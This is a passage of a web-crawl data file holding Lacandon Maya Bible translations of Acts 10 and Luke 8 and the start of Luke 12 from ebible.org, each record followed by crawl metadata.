yʌn turiri' xib uch ich u cajar Cesarea, Cornelio u c'aba'. A je' xiba' u jach ts'urir quinientos soldados. Aro' pʌcha'an ich u t'ʌn a mac u t'ʌn Italiano u c'at ya'aric: Jun much' quinientos soldados.\n2 A Corneliojo', yejer tu cotor mac a ti' yʌn ich yatocho', cu naj c'ujinticob C'uj, bayiri' xan, cu rʌc sʌjticob C'uj. A Corneliojo', cu naj jʌsic u taq'uin quir u yamtic u winiquirob judío. Raji' xan, su'su' cu t'ʌnic C'uj.\n3 Turiri' u q'uinin caj c'uchij tu q'uinin las mʌna' u nup caj u yiraj irej wa wʌyac' u ca' turiri' yʌjmasir u t'ʌn C'uj. Jach chʌca'an caj u yiraj. Yʌjmasir u t'ʌn C'uj caj oquij tu yʌn Cornelio. Caj t'ʌnij ten yʌjmasir u t'ʌn C'uj Cornelio. Tan ya'ara' ti':\n―Cornelio ―quij.\n4 Caj u qui' pʌctaj yʌjmasir u t'ʌn C'uj, Cornelio. Jeroj tune', jach jac'a'an yor, raji' caj u ya'araj ti':\n―Ba' quiri', Jaj Ts'urir? ―quij.\nCaj nunca'b u t'ʌn Cornelio ten yʌjmasir u t'ʌn C'uj. Tan ya'ara' ti':\n―Cu yubic a t'ʌnic, a C'ujo', bayiri' xan, C'uj yer ca jʌsic a taq'uin quir a yamtic u winiquirob judío. Rajen u c'ʌ'otech C'uj.\n5 Baje'rer, tuchi'tej xib ich u cajar Jope quir u bin pʌybir Simón Pedro tera' tu yʌnech.\n6 A Simón Pedrojo', jamach acsa'b ten Simón a cu banic u yot'er wacʌxo'. A yatoch Simóno', ti' yʌn ich chi' c'ac'nab je' u ya'aric tech ba' ca bin a betej ―baxuc ara'b ti' Cornelio ten u yʌjmasir u t'ʌn C'uj.\n7 Barej caj binij yʌjmasir u t'ʌn C'uj, a mac a tu t'ʌnaj Cornelio ca'che'. Cornelio caj u pʌyaj ca'tur u c'urew a ti' yʌnob ich yatoch. Bayiri' xan, caj u pʌyaj turiri' u winiquirob soldado, a cu sʌjtic C'uj xan. Ra' cu naj beyaj ich Cornelio.\n8 Cornelio caj u toc araj ti'ob a caj u yubaj ya'ara' ten yʌjmasir u t'ʌn C'uj, Cornelio. Caj ts'oc u toc aric ti'ob a ba' u ber, caj u tuchi'taj a mʌna' u nup a xibo' ca' xicob pʌbir Pedro ich u cajar Jope.\n9 Caj sasij a mʌna' u nup xibo', caj binob ich u berir Jope. Caj c'uchij c'ac'chunq'uin jach bʌytʌc u c'uchurob a mac a tuchi'ta'b ten Cornelio ich u cajar Jope. Ra'iri' u q'uinin xan, Pedro naquij ca'anan tu ca'ts'ab u jo'r yatoch a pac'a'an najo'. Ti' naquij quir u t'ʌnic C'uj.\n10 Caj yubaj wi'ij Pedro u c'at u janʌn Pedro uch. Mʌ' ts'ocac u beta'r yo'och, caj u yiraj irej wʌyac' u ca'.\n11 A ray u q'uinino' caj wʌyac'nʌjij Pedro, caj u yiraj ich ca'anan. Jeroj caj u yiraj yeman ba' irej noc'. Jach coch u noq'uir caj u yiraj Pedro. Caj u yiraj c'axa'an u xax u noq'uir. Caj u yiraj u yemen ich yicnʌn Pedro ich ru'um.\n12 Pedro caj u yiraj bʌc' ich u noq'uir. Ti' yʌn tu cotor ba' bʌq'uir. Caj u yiraj u bʌq'uir c'ax, caj u yiraj u bʌq'uir a ʌrʌc'a'ano'. Caj u yiraj can, caj u yiraj juj yejer tu cotor u rac'ob bʌc', caj u rʌc iraj tu cotor ch'ich' xan.\n13 Jeroj, caj ara'b ti' Pedro, caj u yubaj u t'ʌn mac tan ya'ara' ti':\n―Riq'uen, chuquej a quinsej a chi'ej a wo'och bʌc', Pedro.\n14 Pedro caj u nuncaj ti', caj u ya'araj ti':\n―Mʌ' jin chi'ej Jaj Ts'urir ―quij―. Mʌ' in chi'mʌni' ―quij Pedro―. Jarari' quin chi'ic a ba' u toc armʌn Moisés uch, a tsoy in chi'icobo'. Mʌ' tsoy in chi'ic aro', Jaj Ts'urir ―quij.\n15 Ca'ten caj u yubaj u t'ʌnʌn Pedro, caj ara'b ti':\n―Tsoy a chi'ic a ba' cu ya'aric C'uj, tsoy u chibir. Rajen mʌ' a yʌn aric, mʌ' tsoy in chi'ic a teno'.\n16 Mʌna' u nup, u tenin u ca' iric Pedro aro', caj u wʌc'ʌs ir u bin ich ca'anan, a irej noq'ue'.\n17 A ba' caj u yiraj sam Pedro mʌ' yer ba' u c'at ya'aric, rajen xac'a'an u tucur Pedro, jeroj tune', caj c'uchob a mʌna' u nup xibo', a tuchi'ta'b ten Cornelio. Cu manob cʌxta'bir yatoch Simón, a cu banic yot'er wacʌx.\n18 Jeroj caj c'uchob tu jor naj, caj u purajob u t'ʌn ti', caj ya'arob:\n―Te' wa jamach cʌja'an Simón Pedro? ―quij.\n19 Ti' toy yʌn Pedro ich jun c'as naj ich u jor naj ca'anan cu tucric a ba' caj u wʌyac'taj sam, jeroj caj t'ʌnbij ten u Taj'or u Pixam C'uj Pedro:\n―C'uchob mʌna' u nup xib tera'. Cu cʌxtiquechob, Pedro.\n20 Joq'uen emen irej a ray xibo'. Ca' xiquech yejerob. Mʌ' a c'ʌs tucric chichin wa mʌ' ja bin yejerob. Quire' ten tuchi'tob ca' tacob u pʌyechex ―baxuc caj u ya'araj u Taj'or u Pixam C'uj ti' Pedro.\n21 Caj emij Pedro ich jor naj ca'anan, caj oquij tu yʌnob a mac a tuchi'ta'b ten Cornelio. Caj u t'ʌnob Pedro, caj u ya'araj ti'ob xan:\n―Je'rena', tan wa ja cʌxtiquenex, ba' tar a wirex?\n22 A mac a tuchi'ta'b ten Cornelio caj u ya'arajob ti' Pedro:\n―Caj u tuchi'tajenob tu yʌnech, in Jach Ts'urirob, u c'aba' Cornelio. Raji' u jach ts'urir xan, quinientos soldado. Raji' jach sʌjta'b ten tu cotor mac. Raji' cu jach sʌjtic C'uj xan. Raji' jach tsoy tu t'ʌn tu cotor u winiquirob judío quire' a ba' cu betic. Yʌjmasir u t'ʌn C'uj arej ti' Cornelio: \"Arej u bin pʌybir Pedro quij yʌjmasir u t'ʌn C'uj, soc a wu'yic ba' cu bin ya'aric tech Pedro.\"\n23 Pedro caj u yacsaj a xibo' quir u wenʌnob ac'bir. Jeroj caj sasij caj bin yejerob Pedro. A mac a yacsmʌnob tu yorob a ti' cʌja'anob ich u cajar Jope yet binacob Pedro. Chen jun yar a yacsmʌnob tu yorob caj binob yejer Pedro.\n24 U jer u q'uinin caj c'uchob ich u cajar Cesarea ti' cu pajarob u c'uchurob Pedro ten Cornelio. Rajen caj u rʌc pay u bʌjob ich yatoch. Baxuc u yajob u bʌj caj u rʌc pʌyaj tu yatoch Cornelio.\n25 Caj c'uchij Pedro ich Cornelio, tabar u yocar Pedro ich yatoch Cornelio joq'uij Cornelio ich yicnʌn Pedro. Caj u t'ʌnaj Pedro caj xonraj Cornelio ich Pedro quir u c'ujintic.\n26 Chen Pedro caj u ric'saj Cornelio, caj ara'b ten Pedro:\n―Mʌ' c'ujeni' ca' a c'ujinteni', quire' baxuc xibech, baxuc ten xan. Rajen chan riq'uen, Cornelio ―quij.\n27 Cu tsicbar Pedro yejer Cornelio caj ocob ich yatoch Cornelio. Tiri' caj u yiraj Pedro jach pim much'a'an.\n28 Jeroj, Pedro caj u ya'araj ti'ob. Tan u tsicbar ti' a mac much'a'anob:\n―A techexo', a werex u nunquirob u winiquirob judío uch, caj u toc arajob mʌ' tsoy in wocarob a tenob tu yʌn a mʌ' u winiquirob judío. Mʌ' tsoy xan in pʌcte'quinticob in bʌj yejer a mʌ' u winiquirob judío. Chen C'uj caj u camsajen mʌ' jin wa'aric ti' mac mʌ' jin c'ʌmej ―quij.\n29 Rajen caj in wu'yaj a pʌyiquenex caj taren. Mʌ' jin wa'araj mʌ' jin tari'. Seb caj taren. Baje'rer, quin c'atic techex ba'wir caj a pʌyajenex?\n30 Caj u nuncaj Cornelio, caj u ya'ara ti' Pedro:\n―Baje'rer, ts'oc u man ca'tur u q'uinin caj in t'ʌnaj C'uj. Caj in jamach p'ʌt tin janʌn quir in t'ʌnic C'uj. Jeroj, c'uchij tu q'uinin a mʌna' u nup tu quin t'ʌnic C'uj. Seb caj tarij u yʌjmasir u t'ʌn C'uj tu yʌnen tin watoch. Jach sasir u noc' u buquimʌn.\n31 Raji' caj u ya'araj ten: \"Cornelio, C'uj tu yubaj a t'ʌnic, quij ya'aric ti'. A C'ujo', tu c'ʌ'otaj tech ca jʌsic a taq'uin quir a yamtic u winiquirob judío.\n32 Tuchi'tej baje'rer ca' xic u pʌyej Simón Pedro ich u cajar Jope. Raji' ti' yʌn ich yatoch u jer Simón a cu banic u yot'er wacʌx. Ra' ti' yʌn yatoch ich u chi'c'ac'nab. Ti' a bin a c'atej Simón Pedro. Ca' bin c'uchuc Pedro ich a watoch je' u ya'aric tech a ba' ca bin a betej.\"\n33 Rajen, seb caj in tuchi'taj pʌybirech, wa tsoy ta t'ʌn ca' taquech. Jach tsoy in wiric caj tarech. Baje'rer, C'uj cu yiric ti' rʌc much'a'anenob tera' quir in wu'yicob a ba' tu cotor a caj u ya'araj tech Jaj Ts'ur ―baxuc tu ya'araj Cornelio.\nCaj u tsec'taj ti'ob Pedro a mac a ti' much'a'an ich yatoch Cornelio\n34 Jeroj, caj u yʌnxchun u tsec'tic ti'ob. Tan ya'ara' ti' ten Pedro:\n―Jach taj, quin wiric mʌ' chen u winiquirob judío tsoy yiric C'uj, tu cotor tsoy yiric C'uj.\n35 A mac a cu sʌjticob C'uj ra' cu qui'quintic yor C'uj, bayiri' xan, a mac a cu quibicob a ba' cu ya'aric C'uj ra' cu qui'quintic yor C'uj, cax a tu cʌja'anob a mʌ' u winiquirob judío.\n36 Mʌ' ja wirej, a C'ujo' caj u tuchi'taj Jesucristo, ra' cu jach ts'urinticob tu cotor a ti' yʌn ich yoc'ocab. Tuchi'ta'b ten C'uj ca' u tsec'tej a je' t'ʌna' ich u yet winiquirob judío quir u tar yorob quire' Jesucristo soc mʌna' ba' cu tucricob.\n37 A techexo', a werex a ba' u ber ich tu cotor u ru'umin Judea uch caj ts'oc yacsa' ja' tu jo'r Jesús ten Juan a cu tsec'tic a Juano'. A Jesúso', caj u yʌnxchun u tsec'tic u t'ʌn C'uj ich u ru'umin Galilea.\n38 A techexo', a werex a Jesúso', chen winiquir nazaret, raji' tuchi'ta'b ten C'uj. Raji' jach manan u muc' u Taj'or u Pixam C'uj caj ts'a'b ten C'uj. A werex xan, caj man u betej tsoy Jesús tu cotor mac, bayiri' xan, caj man u tacaj tu cotor mac Jesús tu cu muc'yaj ti' quisin. Rajen tu betaj, quire' ti' yʌn yejer C'uj.\n39 A tenob ―quij Pedro―, teta'b ten Jesús quir in tsec'ticob u t'ʌn tu tajir caj in wirob a ba' caj u betaj Jesús ich u ru'umin Judea tu cʌja'anob u winiquirob judío. Bayiri' xan, caj in wirob a ba' caj u betaj Jesús ich u cajar Jerusalén. Tiri' caj u quinsajob Jesús caj u sinob ich cruz quir u quinsa'.\n40 Chen caj manij tres u q'uinin caj ric'sa'b ich u quimirir ten C'uj. Caj ts'oc u riq'uir ich u quimirir caj u cha'j in wiricob Jesús caj riq'uir.\n41 Jesús mʌ' ju yesaj u bʌj ti' tu cotor mac chen tenob caj in wirob. Tu yes u bʌj tenob quire' caj u toc tetenob C'uj soc taj quin tsec'ticob u t'ʌn. Mʌ' ja wirej, caj cuxrʌj Jesús caj janʌnenob yejer caj uc'urnʌjenob yejer xan.\n42 Jesús tuchi'tenob ca' in tsec'tejob u t'ʌn ich tu cotor mac. Raji' u c'at taj ca' in tsec'tejob u t'ʌn soc yerob tuchi'ta'b Jesús ten C'uj quir u yocar Juez a Jesúso'. Je' u tocar u jo'r a mac a cuxa'ano' ca' bin uruc, bayiri' xan je' u tocar u jo'r a mac a quimeno' ca' bin uruc xan.\n43 Mʌ' ja wirej, ti' ts'iba'an ich tu cotor u ju'unin C'uj ten a mac a ts'ab u tucur ten C'uj quir u tsec'ticob a ba' u c'at C'uj. Caj u ya'arajob to'onex bic tabar ic jawsiquex ic si'pirex wa quic chen acsiquex tij corex u t'ʌn Jesús ―baxuc caj u ya'araj Pedro ti' a mac a ti' much'a'anob ich yatoch Cornelio.\nA mac mʌ' u winiquirob judío caj u c'ʌmajob u Taj'or u Pixam C'uj\n44 Ti' toy cu tsicbar Pedro ich yatoch Cornelio, caj tar u Taj'or u Pixam C'uj ti' a mac a caj u yubob u t'ʌn Pedro.\n45 A yacsmʌnob tu yorob a yet taracob Pedro u winiquirob judío caj jaq'uij yorob quire' caj u yirob tar xan u Taj'or u Pixam C'uj ti' a mac a mʌ' u winiquirob judío.\n46 Yerob jach tar u Taj'or u Pixam C'uj ti' a mʌ' u winiquirob judío, quire' cu t'ʌnob yejer u jer t'ʌn a mac a mʌ' ju najtobi', bayiri' xan, cu qui' t'ʌnicob C'uj tan u ya'aricob:\n―Jach caremech C'uj.\nRajen Pedro caj u ya'araj ti' u yet winiquirob judío a mac a yet taracob uche':\n47 ―Ti' wa yʌn mac a tera' a cu ya'aric, mʌ' a yʌn acsic ja' tu jo'rob? Mʌ' wa caj u c'ʌmob u Taj'or u Pixam C'uj an ten bic a tenobo'?\n48 Jeroj, Pedro caj u tuchi'tajob ca' acsac ja' tu jo'rob. Caj ts'oc u yacsic ja' tu jo'rob robob a ti' yʌn ich yatoch Cornelio caj u chich c'atajob ti' Pedro ca' p'atʌc yejerob. U c'at u p'atʌr ya'ab u q'uinin yejerob.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC10.html","date":"2022-08-18T02:16:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573145.32\/warc\/CC-MAIN-20220818003501-20220818033501-00126.warc.gz","language":"lac","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000001072883606}","num_words":2001,"character_repetition_ratio":0.083,"word_repetition_ratio":0.003,"special_characters_ratio":0.29,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nA je' xquica' a cu yamticob Jesús uch\n1 Caj ts'oc u beyaj ti taro' Jesús caj bin ich tu cotor u cajarob, cax ich u chan cajarob, cax ich u yajaw cajarob xan. Ti' caj u tsec'taj u jach tsoyir u t'ʌn C'uj tu cu bin u reyinticob C'uj. U yet binacob u doce u camsʌwinicob. 2 Baxuc xquic yet manob uch a mac joc'sa'b u c'ac'as quisinin yejer a mac jawsa'b u yajirir. Baxuc ti' yʌn María Magdalena, raji' joc'sa'b siete u quisinin. 3 Baxuc Juana ra' u mam Chuza, ra' cu beyaj ich Herodes. Tan u cʌnantic u ba'tac Herodes. Baxuc Susana, baxuc ti' rʌc yʌnob u jerob. Caj u yamtob Jesús yejer u camsʌwinicob cax yejer u taq'uinob.\nCu camsic ti' yʌjq'uich'in yʌjir u yijir trigo ich cor\n(Mt. 13.1‑9; Mr. 4.1‑9)\n4 Caj rʌc joc'ob ich u cajarob quir yiricob Jesús. Caj u rʌc much'quintajob u bʌj ich Jesús quir u camsa' ten Jesús. Caj u ya'araj tu cu camsa' bic tabar u t'ʌn C'uj:\n5 ―Caj binij mac quir u pʌq'uic tu cor trigo, cu q'uich'intic u yijir. Caj u pʌc'aj u cor trigo, jumbuj yijir caj rub ich tanbej. Caj tar mac caj u yajch'ʌctaj. Caj tar u ruq'uic ch'ich' xan. 6 Jumbuj caj u q'uich'intaj yijir caj rub ich tunich. Caj ch'ijij, caj quimij quire' mʌ' ch'ur u ru'umin. 7 Jumbuj caj u q'uich'intaj yijir caj rubij ich q'ui'ix, quet caj ch'ijij, caj bobasta'b rajen mʌ' ju ch'ijir. 8 Jumbuj caj u q'uich'intaj yijir caj rub tub u nec'at u ru'umin caj ch'ijir caj u nets'aja u wich hasta tu ni'.\nCaj ts'oc ya'aric Jesús c'am caj ya'araj:\n―Wa c'ucha'an a worex a wu'yiquex t'ʌn, u'yex a ba' caj in camsaquechex ti' u t'ʌn C'uj.\nBʌ' wir Jesús caj u camsaj u t'ʌn\n(Mt. 13.10‑17; Mr. 4.10‑12)\n9 U camsʌwinicob caj u c'atajob ba' caj u camsaj sam. 10 Caj ya'araj ti' u camsʌwinicob Jesús:\n―Tsaja'antechex ten C'uj quir a najtiquex a ba' mʌ' yerob uch tu cu bin u reytinticob C'uj. Chen a mac mʌ' yerob C'uj a cu yubicob in camsicob tu quin p'eri'quintic in t'ʌn. Cu chen u'yicob, cax cu yubicob mʌ' ju najtejob. Mʌ' ju bin u c'ʌ'oticob soc u yacsicob tu yor soc u tocar ten C'uj.\nJesús cu camsic ti' yʌjq'uich'in yʌjir yijir\n(Mt. 13.18‑23; Mr. 4.13‑20)\n11 'U'yex ba' u c'at ya'arej u t'ʌn a caj in camsajechex: Ra' u yijir caj u q'uich'intaj caj u q'uich'intaj irej u t'ʌn C'uj. 12 A yijirob caj rub ich tanbej irob a mac a cu yubicob u t'ʌn C'uj caj tarij quisin quir u taquic u t'ʌn C'uj tu pixamob soc mʌ' u yacsicob tu yor soc mʌ' ju tocar ten C'uj. 13 Caj rub yijir ich tunich irob a mac cu yubicob u t'ʌn C'uj. Qui' yor caj u c'ʌmajob u t'ʌn C'uj. Chen irob yijir a mʌna' u motsob. Tabar u yacsicob tu yorob, ca' bin tumta'c yorob ten quisin cu p'ʌticob u t'ʌn C'uj. 14 Caj rub yijir ich q'ui'ix irob a mac a cu yubicob u t'ʌn C'uj chen ti' toy cuxa'anob tera'. Cu tucricob ti' u bʌjiri'ob, u c'atob u nejaricob u taq'uin yejer u ba'tac. Cu chen tucricob ti' a ba' cu bin u qui'quintic yorob. Raji' cu tupsic u t'ʌn C'uj, rajen mʌ' ju qui' quibob u t'ʌn C'uj. 15 U yijir a rub ich tub u nec'at u ru'umin irob a mac a cu qui' yubicob u t'ʌn C'uj caj u nequi' quibob u t'ʌn C'uj. Caj u qui' acsob tu yorob. Caj u muc'tob ba' a cu tumticob yorob soc u qui'quinticob yor C'uj.\nQuir u camsic ti' wa t'ʌba'an u quib\n(Mr. 4.21‑25)\n16 A ba' cu camsic ti'ob irej wa t'ʌba'an u quib, rajen Jesús caj u ya'araj ti'ob:\n―A mac a cu t'ʌbic u quib cu ts'ocar u t'ʌbic mʌ' u bʌric yejer ba'. Mʌ' ju yacsic yaram u ch'ac. Yʌn nacsic ca'anan soc u yerc'ac'tic tu cotor mac a cu yocar. Quire' ca' bin u yerc'ac'tej a quibo', chʌca'an ij quirej ic bej soc mʌ' jic satʌr, baxuc ti' Jesús cu camsico'on soc ic najtic ca' ij quer u t'ʌn C'uj.\n17 Caj ya'araj Jesús:\n―Tu cotor ba' a mucu taca'an tu cu bin u reyinticob C'uj. Baje'rer ca' bin c'uchuc tu q'uinin je' u joc'ar u tajire'. Baxuc tu cotor mac je' u c'ʌ'otej ca' bin c'uchuc tu q'uinin je' u yubique'.\n18 'Rajen qui' u'yex a ba' quin camsiquechex quire' wa ca quibiquex in t'ʌn je' in ca' camsiquechex ya'ab. Quire' wa mʌ' a quibiquex in t'ʌn a mun ya'abir ta cʌnex cu bin u tubur techex cax ca tucriquex je' u tubur techex.\nU nʌ' Jesús yejer u yits'inob\n(Mt. 12.46‑50; Mr. 3.31‑35)\n19 Caj tar u nʌ' Jesús yejer yits'inob. Caj c'uchob ich Jesús. Mʌ' c'ucha'an yorob u c'uchurob ich Jesús quire' ti' yʌn a pimo', jach pech. 20 Yʌn mac caj u t'ʌnaj Jesús:\n―Ti' yʌnob a nʌ' yejer a wits'inob tar yʌnob tu xur a nepimo', u c'at yiriquechob.\n21 Caj ya'araj ti'ob Jesús:\n―Quire' a mac a cu yacsic tu yor u t'ʌn C'uj a cu qui' quibicob u t'ʌn C'uj raji'ob in jach nʌ', ra' in wits'inob xan.\nJesús caj u t'ʌnaj yic'ar baxuc u yamin ca' ch'enac\n(Mt. 8.23‑27; Mr. 4.35‑41)\n22 Turi' u q'uinin caj binij Jesús. Caj oquij ich chem yejer u camsʌwinicob. Caj ya'araj ti'ob:\n―Cuxex pʌchij c'ac'nab.\nCaj binob. 23 Caj u ch'ʌctajob c'ac'nab Jesús caj wenij ich chem. Caj u nup'ob c'am yic'ar rajen caj u burij u chem, orac u jurur u chem. 24 Caj bin ʌsbir Jesús ten u camsʌwinicob caj ya'arajob:\n―In wʌjcamsayʌjirechob, tan ic jurur.\nCaj riq'uij Jesús. Caj u t'ʌnaj yic'ar yejer u yamin caj ch'en u tar yic'ar yejer u yamin. 25 Caj ya'araj ti' u camsʌwinicob:\n―Mʌ' wa ja qui' acsmʌnex a wor ti' ten?\nQuire' jach jaq'uij yorob caj u ch'ajob sajquirob. Caj ya'arajob ich u bʌjob a ju camsʌwinicob:\n―A mac a je'ra', cax ic', cax u yamin, cu yuba'r u t'ʌn?\nTi' yʌn xib aca'an ti' quisin ich u ru'umin Gadara\n(Mt. 8.28‑34; Mr. 5.1‑20)\n26 Caj c'uchob yejer chem ich u ru'umin Gadara. Ra' ʌcʌtan u ru'umin Galilea. 27 Caj joq'uij Jesús ich chem. Caj nats'ij turi' xib ich a ray cajaro', tar bin ich Jesús. Manij ya'ab yaxq'uin aca'an ti' quisin. Rajen mʌ' u buquintic u noc', mʌ' ju cʌjtar ich naj. Ti' cu cʌjtar ich u quimirir tu yʌn u japnin tunich. Mʌ' ja wirej, a ucho' u rac'ob caj u chucajob u c'ʌrejob yejer mascab. Caj u c'ʌrob u yoc yejer u c'ʌb soc u cʌnanticob, ya'ab u teni' caj u p'icaj u mascabirob u c'ʌb yejer u mascabirob u yoc caj puts'ij ich tʌcay ru'um quire' aca'an ti' c'ac'as quisin. 28 Rajen caj u yiraj Jesús, c'am caj awʌtnʌjij caj tar xontar ich Jesús. Caj ya'araj u quisinin:\n―Biquinin ca pecsic in worob Jesús u pararech C'uj, a C'ujo' a mac jach no'j? Quin chich c'aticob tech soc mʌ' a ts'ic in muc'yajob.\n29 Baxuc caj ya'arob u quisinin quire' sam arac ten Jesús ca' jocac ti' a xibo'. 30 Jesús caj u c'ataj ti'ob:\n―Mac a c'aba'ex?\nCaj u nuncajob:\n―Pimenob.\nBaxuc caj u nuncajob ti' quire' jach pimob a quisino' a aca'an ti' a xibo'. 31 A quisino' caj u chich c'atajob ti' Jesús:\n―Mʌ' a tuchi'tiquenob ich c'ac'.\n32 Caj ya'arob:\n―Are in binob ich cajir q'uec'an tu cu janʌnob ich nʌc' wits.\nJesús tu chaj u binob ich cajir q'uec'an. 33 A quisino', caj joq'uij ich xib caj ocob ich cajir q'uec'an, caj u c'ʌnajob yacab caj pitc'ʌjob tu ch'ica'an, caj binob ich c'ac'nab, ti' rʌc bint ja' rʌc quimob.\n34 A mac a cu cʌnanticob cajir q'uec'an caj yirob ba' u ber ti' u cajir q'uec'an caj u c'ʌnob yacab caj bin u jumbintajob ich u cajar cax ich u chan corob xan. 35 U rac'ob caj binob yirejob ba' u ber. Caj c'uchob ich Jesús caj yirob xib a mac aca'an ti' quisin ca'ch. Ti' cura'an tan yubic u t'ʌn Jesús. Toc yʌn u noc' caj jep yor rajen jaq'uij yor a mac tar yiricob. 36 A mac caj u yirajob bic jawsa'b a xibo' ten Jesús. Tu tsicbʌtajob ich u rac'ob a tarob ich tu cotor u cajarob a ba' caj u betaj Jesús, bic jawsa'b a xibo' a mac aca'an c'ac'as quisin ti' ca'ch. 37 Tu cotor mac a ti' yʌnob ich u ru'umin Gadara. Baxuc a mac a cʌja'anob bʌcris cajarob caj u chich c'atajob ti' Jesús ca' xic tu pach quire' jaca'an yorob. Rajen Jesús caj wʌc'ʌs oc ich chem quir u bin. 38 A mac joc' u c'ac'as quisinin ca'ch caj u chich c'ataj ti' Jesús:\n―Ar in tar ta pach.\nChen Jesús caj yaraj ti':\n―Mʌ' ja tar ―quij―. 39 Xen ta watoch, xen jumintej a ba' tu betech C'uj, a ba' tsoyir caj u betaj tech.\nA xibo' caj bin u jumintej a ba' beta'b ten Jesús ti'. Baxuc caj u jumintaj ich tu cotor u rac'ob.\nU parar Jairo a chan xquico', yejer u jer xquic a tu tʌraj u noc' Jesús\n(Mt. 9.18‑26; Mr. 5.21‑43)\n40 Caj sutnʌjij Jesús ich pʌchir c'ac'nab. A pimo' qui' yorob caj u yasajob Jesús quire' tan u pajicob. 41 Caj c'uchij turi' xib u c'aba' Jairo, u jach ts'urir u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u pur u bʌj ich yoc Jesús caj u chich c'atej ca' xic tu yatoch. 42 Quire' tu quimin u chan parar xquic quire' mʌna' u jer u chan parar. Yʌn doce u yaxq'uinin. Caj bin Jesús yejer Jairo. A pimo' caj u rʌc nʌctantob u bʌj ich Jesús.\n43 Ti' yʌn ich a pimo' turi' xquic jach yaj quire' yʌn doce u yaxq'uinin caj u cʌnaj u yajir. Mʌ' ju jawʌr u p'o'ic u noc'. Caj u rʌc xupaj u taq'uin tu cu bin tu cu ts'acʌr. Mʌna' mac c'ucha'an yor u jawsic. 44 A xquico' caj u nʌts u bʌj ich Jesús caj c'uch ich u pach Jesús caj u tʌraj u xax u noc' Jesús. Sep caj jawij u yajir. Caj tsits u q'uiq'uer.\n45 Caj u c'ataj Jesús:\n―Mac caj u tʌraj in noc'?\nMʌna' mac arej wa caj u tʌraj u noc'. Caj ya'arob Pedro yejer u yetcamsʌwinicob:\n―In wʌjcamsʌyʌjirechob, a jach pimo' caj u nʌctantob tech, caj u nech'intajechob. Biquinin ca c'atic mac caj u tʌraj a noc'?\n46 Jesús caj ya'araj:\n―Yʌn mac caj u tʌraj in noc', tin wu'yaj bin in muc' caj u jawsa'b mac.\n47 A xquico' caj yubaj yer Jesús caj tari, tu babac caj xonraj ich Jesús caj u toc rʌc araj ʌcʌtan tu cotor mac biquinin caj a tʌraj u noc' Jesús. Caj ya'araj biquinin seb caj jawij. 48 Jesús caj ya'araj:\n―In chan ti'arech jawech quire' caj a wacsa ta wor ca' xiquech ta watoch, qui'quintej a wor.\n49 Ti' toy cu tsicbar Jesús caj c'uchij turi' mac, tar u tar ich yatoch Jairo. Ra' u jach ts'urir u chan najir tu cu naj c'ujintic C'uj u winiquirob judío. Caj ara'b ti' Jairo:\n―Quimij a chan parar, xquic. Mʌ' a pecsic yor yʌjcamsʌyʌjir, tsire'ej.\n50 Caj yuba Jesús ba' ara'b ti' Jairo caj u ya'araj Jesús ti':\n―Mʌ' a ch'ic sajaquir, chen acsej ta wor ten je' u jebar yore'.\n51 Caj c'uchij ich yatoch Jairo. Jesús mʌ' ju chabʌr u yocar mac, chen Pedro yejer Juan yejer Jacobo, quet yejer u tet yejer u nʌ', a quimen, chan xquic. 52 A mac ti' yʌno' caj u yac'tajob a chan xquic baxuc caj oc'arnʌjob. Chen Jesús caj ya'araj:\n―Mʌ' a wac'tiquex quire' mʌ' quimen, chen wenen u ca'.\n53 Caj u p'astajob Jesús quire' yirajob jach quimen. 54 Caj u mʌch u c'ʌb ten Jesús caj u c'am ya'araj:\n―Chan xquic riq'uen ch'icren.\n55 Caj u wʌc'ʌs cuxrʌj. Seb caj riq'uij. Jesús caj ya'araj:\n―Ts'ajex yo'och.\n56 U tet yejer u nʌ' caj jaq'uij yorob. Chen Jesús caj ya'araj ti'ob:\n―Mʌ' a yʌn ariquex ti'ob mac a ba' u ber ti'.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK08.htm","date":"2022-08-17T20:21:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00744.warc.gz","language":"lac","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000052452087402}","num_words":1951,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.507,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nJesús caj u camsic soc mʌ' u cʌnicob ca'tur yac'\n1 Ti' toy cu tsicbar Jesús yejer u winiquirob judío a fariseojo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Quire' caj u much'quintob u bʌj u winiquirob judío. Jach ti' yʌn miles quire' tan u yach'ʌticob u bʌj. Jesús caj u yʌnxchun ya'aric ti' u camsʌwinicob quire' u c'at u yʌn tsicbar yejer u camsʌwinicob. Rajen caj ya'araj ti'ob:\n―Qui' cʌnantej a bʌjex ti' u winiquirob judío a fariseojo' soc mʌ' u tusaricob techex ba'. Soc mʌ' a cʌnicobex quire' a ba' cu tus aric u winiquirob judío a fariseojo', irej u ts'ac yo'och pan cu sip. 2 Rajen, mʌ' ja cʌnicobex quire' tu cotor ba' cu mucricob mac je' u bin irbir ten mac. Quire' a ba' cu tucric mac, mʌna' mac yer, chen je' u yerticobe'. 3 Rajen tu cotor ba' ca mucu'ariquex ya'ab mac cu bin yubic. Quire' a wa ba' ca chan ber ariquex ich a watochex ta junanex ya'ab mac cu bin yertic.\nA mac a yʌn ic jach sʌjtic\n(Mt. 10.28‑31)\n4 Caj ya'araj Jesús:\n―Quin wac techex a mac in jach yaj, mʌ' a ch'iquex sajaquir ti' a mac a cu bin u quinsiquechex. Quire' ca' bin ts'ocac u quinsiquechex quire' mʌ' c'ucha'an yor ba' quir u betic techex. 5 A teno' ―quij Jesús―, quin chen bin in wa'aric techex mac yʌn a jach sʌjtiquex. Ca' a ch'iquex sajaquir ti' C'uj quire' ca' bin ts'ocac u taquic a cuxtarex c'ucha'an yor u puriquechex 